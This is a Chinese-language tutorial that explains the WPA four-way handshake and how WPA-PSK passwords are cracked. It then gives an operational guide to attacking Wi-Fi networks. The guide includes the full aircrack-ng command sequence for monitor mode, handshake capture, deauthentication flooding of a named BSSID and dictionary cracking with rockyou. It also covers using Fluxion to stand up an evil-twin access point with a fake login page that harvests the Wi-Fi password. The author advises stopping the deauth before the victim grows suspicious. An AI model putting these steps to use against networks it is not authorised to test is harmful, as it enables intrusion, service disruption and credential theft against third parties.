WPA四次握手
WPA 握手过程是基于802.1X 协议,使用eapol key进行封装传输,建立通信一共需要五个步骤.
AP初始化:
使用 SSID 和passphares作为入参,通过哈希算法产生PSK。在WPA-PSK 中PSK=PMK=pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)
第一次握手:
AP广播SSID,AP_MAC(AA);
STATION 端使用接收到的SSID,AP_MAC和passphares使用同样算法产生PSK。
第二次握手
STATION 发送一个随机数SNonce,STATION_MAC(SA)给AP;
AP端接收到SNonce、STATION_MAC(SA)后产生一个随机数ANonce,然后用 PMK、AP_MAC(AA)、STATION_MAC(SA)、SNonce、ANonce 用以下SHA1_PRF算法产生PTK,提取这个 PTK 前16 个字节组成一个MIC KEY。
PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”, MIN(AA, SA) || Max(AA, SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))
第三次握手:
AP发送上面产生的ANonce给STATION
STATION 端用接收到ANonce 和以前产生PMK、SNonce、AP_MAC(AA)、STATION_MAC(SA)用同样的算法产生PTK。提取这个PTK 前16 个字节组成一个MIC KEY使用以下算法产生MIC值用这个MIC KEY 和一个802.1X数据帧使用以下算法得到MIC值
MIC = HMAC_MD5(MIC Key,16,802.1X data)
第四次握手:
STATION 发送802.1X 数据帧,MIC给AP;STATION 端用上面那个准备好的802.1X 数据帧在最后填充上MIC值和两个字节的0(十六进制)然后发送这个数据帧到AP。
AP端收到这个数据帧后提取这个MIC。并把这个数据帧的MIC部分都填上0(十六进制)这时用这个802.1X数据帧,和用上面AP产生的 MIC KEY 使用同样的算法得出MIC’。如果MIC’等于STATION 发送过来的MIC。那么第四次握手成功。若不等说明则AP 和 STATION 的密钥不相同,握手失败了。
破解原理
用我们字典中的Passphrase+SSID先生成PMK,然后结合握手包中的STA_MAC、AP_MAC、ANONCE、SNONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。
Aircrack-ng破解
查找网卡
iwconfig
关闭影响网卡监听的功能
service network-manager stopairmon-ng check kill
开启网卡监听模式
airmon-ng start wlan0
这里网卡名已经变成wlan0mon了
抓wifi数据包
airodump-ng wlan0mon
对目标wifi进行deauth
当洪水攻击执行后,目标wifi所有设备会停止连接,当有设备重新连接后会抓取设备的握手包
airodump-ng wlan0mon --bssid 58:C8:76:2C:85:50 -c 5 -w wpa2-c代表频道, 后面带的是频道bssid: mac地址(物理地址)-w代表目录(抓到的握手包放在这个目录下面)
如果之前探测包的第一个shell没有出现handshacke,可以进行断网攻击
aireplay-ng -0 0 -a 58:C8:76:2C:85:50 wlan0mon
这里已经有握手包了就断开攻击,毕竟人家一直连不上网也会怀疑出啥问题了
字典爆破密码
aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa2-01.cap
成功后这里就会出现密码,我这里就不出成功后的状态了
推荐一个工具fluxion
比airmon-ng要方便,上面命令要是不想记用这个方便
github下载地址
进入目录下执行./fluxion.sh
进入工具后选择语言,是有中文的,我这里进入的英文下的
选择1扫描所有信道.
这时会出现这个小白板,当里面有你想要攻击的wifi后ctrl-c停止扫描
这里再选择你自己要攻击的
建立虚假AP
选择1,然后再按enter最后再选择aircrack-ng (Miss chance)进行抓包—–懒得截图
洪水攻击
选择1,之后会有两个窗口,当有设备连进来后选择抓取到的握手包,我这里不演示了
选择握手包后选择web interface,伪造一个假web登录界面(这里所有人都连不上wifi了),当有人输入wifi密码后fluxion脚本结束工作,密码现在你的电脑里了…